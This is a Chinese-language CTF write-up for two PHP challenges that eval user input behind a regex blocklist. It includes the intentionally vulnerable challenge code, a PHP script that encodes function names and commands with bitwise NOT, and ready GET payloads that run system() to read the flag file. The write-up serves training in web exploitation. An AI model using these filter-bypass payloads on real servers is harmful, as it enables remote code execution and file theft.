web145-web146笔记（取反运算+| 无字母数字绕过正则表达式总结（含上传临时文件、异或、或、取反、自增脚本））

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-18 17:41:33

*/


highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

web144 plus === web143 proplus === web141 proplusmax

过滤的更多，⽽且不能⽤^，但是能取反

但* ; + -都被ban掉了，之前说v3前后都要有这些

fuzz之后发现|也能⽤

取反脚本如下

<?php
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

运行后构造payload如下

?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|

无字母数字绕过正则表达式总结（含上传临时文件、异或、或、取反、自增脚本）

https://blog.csdn.net/miuzzx/article/details/109143413

(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F);

?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|

?v1=%0a1&v2=%0a0&v3=?(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%d5):

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-18 17:41:33

*/


highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

还是没有过滤 ~,继续⽤上⼀题的payload